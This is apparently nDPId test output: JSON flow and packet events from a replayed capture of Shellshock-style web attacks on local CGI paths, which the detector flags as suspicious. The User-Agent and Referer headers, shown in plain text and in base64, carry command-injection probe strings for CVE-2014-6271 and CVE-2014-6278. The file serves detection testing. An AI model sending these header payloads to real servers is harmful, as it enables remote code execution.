+00787{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":440,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":440,"flow_packet_id":1,"flow_first_seen":1576420277381,"flow_last_seen":0,"flow_tot_l4_data_len":246,"flow_min_l4_data_len":246,"flow_max_l4_data_len":246,"flow_avg_l4_data_len":246,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50442,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/admin.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":441,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":441,"flow_packet_id":1,"flow_first_seen":1576420277383,"flow_last_seen":0,"flow_tot_l4_data_len":254,"flow_min_l4_data_len":254,"flow_max_l4_data_len":254,"flow_avg_l4_data_len":254,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50444,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00733{"flow_id":441,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":441,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":383565,"pkt_caplen":288,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":288,"pkt_l4_len":254,"pkt":"AAAAAAAAAAAAAAAACABFAAES8w1AAEAGSNZ\/AAABfwAAAcUMH5A5v8vLlyOw2IAYAED\/BgAAAQEICp1m\/a+dZv2vR0VUIC9hZG1pbmlzdHJhdG9yLmNnaSBIVFRQLzEuMQ0KVXNlci1BZ2VudDogKCkgeyA6OyB9OyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02MjcxOiB0cnVlO2VjaG87ZWNobzsNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KUmVmZXJlcjogKCkgeyBfOyB9ID5fWyQoJCgpKV0geyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02Mjc4OiB0cnVlOyBlY2hvO2VjaG87IH0NCg0K"} +00795{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":441,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":441,"flow_packet_id":1,"flow_first_seen":1576420277383,"flow_last_seen":0,"flow_tot_l4_data_len":254,"flow_min_l4_data_len":254,"flow_max_l4_data_len":254,"flow_avg_l4_data_len":254,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50444,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/administrator.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":442,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":442,"flow_packet_id":1,"flow_first_seen":1576420277386,"flow_last_seen":0,"flow_tot_l4_data_len":250,"flow_min_l4_data_len":250,"flow_max_l4_data_len":250,"flow_avg_l4_data_len":250,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50446,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00729{"flow_id":442,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":442,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":386403,"pkt_caplen":284,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":284,"pkt_l4_len":250,"pkt":"AAAAAAAAAAAAAAAACABFAAEO1qdAAEAGZUB\/AAABfwAAAcUOH5C5aO5oSApQ3oAYAED\/AgAAAQEICp1m\/bKdZv2yR0VUIC9hdXRoTG9naW4uY2dpIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiAoKSB7IDo7IH07IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzE6IHRydWU7ZWNobztlY2hvOw0KUmVmZXJlcjogKCkgeyBfOyB9ID5fWyQoJCgpKV0geyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02Mjc4OiB0cnVlOyBlY2hvO2VjaG87IH0NCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00791{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":442,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":442,"flow_packet_id":1,"flow_first_seen":1576420277386,"flow_last_seen":0,"flow_tot_l4_data_len":250,"flow_min_l4_data_len":250,"flow_max_l4_data_len":250,"flow_avg_l4_data_len":250,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50446,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/authLogin.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":443,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":443,"flow_packet_id":1,"flow_first_seen":1576420277387,"flow_last_seen":0,"flow_tot_l4_data_len":247,"flow_min_l4_data_len":247,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":247,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50448,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00725{"flow_id":443,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":443,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":387952,"pkt_caplen":281,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":281,"pkt_l4_len":247,"pkt":"AAAAAAAAAAAAAAAACABFAAEL0qJAAEAGaUh\/AAABfwAAAcUQH5BC7upk6xmcJIAYAED+\/wAAAQEICp1m\/bOdZv2zR0VUIC9iYi1oaXN0LnNoIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiAoKSB7IDo7IH07IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzE6IHRydWU7ZWNobztlY2hvOw0KUmVmZXJlcjogKCkgeyBfOyB9ID5fWyQoJCgpKV0geyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02Mjc4OiB0cnVlOyBlY2hvO2VjaG87IH0NCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00788{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":443,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":443,"flow_packet_id":1,"flow_first_seen":1576420277387,"flow_last_seen":0,"flow_tot_l4_data_len":247,"flow_min_l4_data_len":247,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":247,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50448,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/bb-hist.sh","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":444,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":444,"flow_packet_id":1,"flow_first_seen":1576420277389,"flow_last_seen":0,"flow_tot_l4_data_len":247,"flow_min_l4_data_len":247,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":247,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50450,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00725{"flow_id":444,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":444,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":389650,"pkt_caplen":281,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":281,"pkt_l4_len":247,"pkt":"AAAAAAAAAAAAAAAACABFAAELgRJAAEAGuth\/AAABfwAAAcUSH5B08bnUX64J5YAYAED+\/wAAAQEICp1m\/bWdZv21R0VUIC9iYW5uZXIuY2dpIEhUVFAvMS4xDQpVc2VyLUFnZW50OiAoKSB7IDo7IH07IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzE6IHRydWU7ZWNobztlY2hvOw0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQpSZWZlcmVyOiAoKSB7IF87IH0gPl9bJCgkKCkpXSB7IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzg6IHRydWU7IGVjaG87ZWNobzsgfQ0KDQo="} +00788{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":444,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":444,"flow_packet_id":1,"flow_first_seen":1576420277389,"flow_last_seen":0,"flow_tot_l4_data_len":247,"flow_min_l4_data_len":247,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":247,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50450,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/banner.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":445,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":445,"flow_packet_id":1,"flow_first_seen":1576420277391,"flow_last_seen":0,"flow_tot_l4_data_len":245,"flow_min_l4_data_len":245,"flow_max_l4_data_len":245,"flow_avg_l4_data_len":245,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50452,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00723{"flow_id":445,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":445,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":391275,"pkt_caplen":279,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":279,"pkt_l4_len":245,"pkt":"AAAAAAAAAAAAAAAACABFAAEJF\/tAAEAGI\/J\/AAABfwAAAcUUH5B+1S87jYTLUoAYAED+\/QAAAQEICp1m\/bedZv23R0VUIC9ib29rLmNnaSBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogKCkgeyA6OyB9OyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02MjcxOiB0cnVlO2VjaG87ZWNobzsNCkhvc3Q6IDEyNy4wLjAuMQ0KUmVmZXJlcjogKCkgeyBfOyB9ID5fWyQoJCgpKV0geyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02Mjc4OiB0cnVlOyBlY2hvO2VjaG87IH0NCg0K"} +00786{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":445,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":445,"flow_packet_id":1,"flow_first_seen":1576420277391,"flow_last_seen":0,"flow_tot_l4_data_len":245,"flow_min_l4_data_len":245,"flow_max_l4_data_len":245,"flow_avg_l4_data_len":245,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50452,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/book.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":446,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":446,"flow_packet_id":1,"flow_first_seen":1576420277392,"flow_last_seen":0,"flow_tot_l4_data_len":248,"flow_min_l4_data_len":248,"flow_max_l4_data_len":248,"flow_avg_l4_data_len":248,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50454,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00725{"flow_id":446,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":446,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":392796,"pkt_caplen":282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":282,"pkt_l4_len":248,"pkt":"AAAAAAAAAAAAAAAACABFAAEM+RhAAEAGQtF\/AAABfwAAAcUWH5DPIMHTViTvW4AYAED\/AAAAAQEICp1m\/bidZv24R0VUIC9jZ2lpbmZvLmNnaSBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpSZWZlcmVyOiAoKSB7IF87IH0gPl9bJCgkKCkpXSB7IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzg6IHRydWU7IGVjaG87ZWNobzsgfQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogKCkgeyA6OyB9OyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02MjcxOiB0cnVlO2VjaG87ZWNobzsNCg0K"} +00789{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":446,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":446,"flow_packet_id":1,"flow_first_seen":1576420277392,"flow_last_seen":0,"flow_tot_l4_data_len":248,"flow_min_l4_data_len":248,"flow_max_l4_data_len":248,"flow_avg_l4_data_len":248,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50454,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cgiinfo.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":447,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":447,"flow_packet_id":1,"flow_first_seen":1576420277394,"flow_last_seen":0,"flow_tot_l4_data_len":247,"flow_min_l4_data_len":247,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":247,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50456,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00726{"flow_id":447,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":447,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":394390,"pkt_caplen":281,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":281,"pkt_l4_len":247,"pkt":"AAAAAAAAAAAAAAAACABFAAELY9VAAEAG2BV\/AAABfwAAAcUYH5AazFsY4\/xNyIAYAED+\/wAAAQEICp1m\/bqdZv26R0VUIC9jZ2l0ZXN0LnB5IEhUVFAvMS4xDQpSZWZlcmVyOiAoKSB7IF87IH0gPl9bJCgkKCkpXSB7IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzg6IHRydWU7IGVjaG87ZWNobzsgfQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiAoKSB7IDo7IH07IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzE6IHRydWU7ZWNobztlY2hvOw0KDQo="} +00788{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":447,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":447,"flow_packet_id":1,"flow_first_seen":1576420277394,"flow_last_seen":0,"flow_tot_l4_data_len":247,"flow_min_l4_data_len":247,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":247,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50456,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cgitest.py","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":448,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":448,"flow_packet_id":1,"flow_first_seen":1576420277395,"flow_last_seen":0,"flow_tot_l4_data_len":248,"flow_min_l4_data_len":248,"flow_max_l4_data_len":248,"flow_avg_l4_data_len":248,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50458,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00725{"flow_id":448,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":448,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":395932,"pkt_caplen":282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":282,"pkt_l4_len":248,"pkt":"AAAAAAAAAAAAAAAACABFAAEMSAFAAEAG8+h\/AAABfwAAAcUaH5B7UH87Bk0XQYAYAED\/AAAAAQEICp1m\/budZv27R0VUIC9jZ2lfd3JhcHBlciBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpSZWZlcmVyOiAoKSB7IF87IH0gPl9bJCgkKCkpXSB7IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzg6IHRydWU7IGVjaG87ZWNobzsgfQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogKCkgeyA6OyB9OyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02MjcxOiB0cnVlO2VjaG87ZWNobzsNCg0K"} +00789{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":448,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":448,"flow_packet_id":1,"flow_first_seen":1576420277395,"flow_last_seen":0,"flow_tot_l4_data_len":248,"flow_min_l4_data_len":248,"flow_max_l4_data_len":248,"flow_avg_l4_data_len":248,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50458,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cgi_wrapper","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":449,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":449,"flow_packet_id":1,"flow_first_seen":1576420277398,"flow_last_seen":0,"flow_tot_l4_data_len":248,"flow_min_l4_data_len":248,"flow_max_l4_data_len":248,"flow_avg_l4_data_len":248,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50460,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00725{"flow_id":449,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":449,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":398454,"pkt_caplen":282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":282,"pkt_l4_len":248,"pkt":"AAAAAAAAAAAAAAAACABFAAEMKndAAEAGEXN\/AAABfwAAAcUcH5BMbxKxdmdFb4AYAED\/AAAAAQEICp1m\/b6dZv2+R0VUIC9jb250YWN0LmNnaSBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpSZWZlcmVyOiAoKSB7IF87IH0gPl9bJCgkKCkpXSB7IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzg6IHRydWU7IGVjaG87ZWNobzsgfQ0KVXNlci1BZ2VudDogKCkgeyA6OyB9OyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02MjcxOiB0cnVlO2VjaG87ZWNobzsNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00789{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":449,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":449,"flow_packet_id":1,"flow_first_seen":1576420277398,"flow_last_seen":0,"flow_tot_l4_data_len":248,"flow_min_l4_data_len":248,"flow_max_l4_data_len":248,"flow_avg_l4_data_len":248,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50460,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/contact.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":450,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":450,"flow_packet_id":1,"flow_first_seen":1576420277399,"flow_last_seen":0,"flow_tot_l4_data_len":246,"flow_min_l4_data_len":246,"flow_max_l4_data_len":246,"flow_avg_l4_data_len":246,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50462,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00726{"flow_id":450,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":450,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":399804,"pkt_caplen":280,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":280,"pkt_l4_len":246,"pkt":"AAAAAAAAAAAAAAAACABFAAEK9YVAAEAGRmZ\/AAABfwAAAcUeH5Br181GQEYmBIAYAED+\/gAAAQEICp1m\/b+dZv2\/R0VUIC9jb3VudC5jZ2kgSFRUUC8xLjENClVzZXItQWdlbnQ6ICgpIHsgOjsgfTsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3MTogdHJ1ZTtlY2hvO2VjaG87DQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENClJlZmVyZXI6ICgpIHsgXzsgfSA+X1skKCQoKSldIHsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3ODogdHJ1ZTsgZWNobztlY2hvOyB9DQoNCg=="} +00787{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":450,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":450,"flow_packet_id":1,"flow_first_seen":1576420277399,"flow_last_seen":0,"flow_tot_l4_data_len":246,"flow_min_l4_data_len":246,"flow_max_l4_data_len":246,"flow_avg_l4_data_len":246,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50462,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/count.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":451,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":451,"flow_packet_id":1,"flow_first_seen":1576420277401,"flow_last_seen":0,"flow_tot_l4_data_len":255,"flow_min_l4_data_len":255,"flow_max_l4_data_len":255,"flow_avg_l4_data_len":255,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50464,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00737{"flow_id":451,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":451,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":401208,"pkt_caplen":289,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":289,"pkt_l4_len":255,"pkt":"AAAAAAAAAAAAAAAACABFAAETxAhAAEAGd9p\/AAABfwAAAcUgH5CMzvzBXE4TboAYAED\/BwAAAQEICp1m\/cGdZv3BR0VUIC9kZWZhdWx0d2VicGFnZS5jZ2kgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6ICgpIHsgOjsgfTsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3MTogdHJ1ZTtlY2hvO2VjaG87DQpSZWZlcmVyOiAoKSB7IF87IH0gPl9bJCgkKCkpXSB7IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzg6IHRydWU7IGVjaG87ZWNobzsgfQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00796{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":451,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":451,"flow_packet_id":1,"flow_first_seen":1576420277401,"flow_last_seen":0,"flow_tot_l4_data_len":255,"flow_min_l4_data_len":255,"flow_max_l4_data_len":255,"flow_avg_l4_data_len":255,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50464,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/defaultwebpage.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":452,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":452,"flow_packet_id":1,"flow_first_seen":1576420277402,"flow_last_seen":0,"flow_tot_l4_data_len":249,"flow_min_l4_data_len":249,"flow_max_l4_data_len":249,"flow_avg_l4_data_len":249,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50466,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 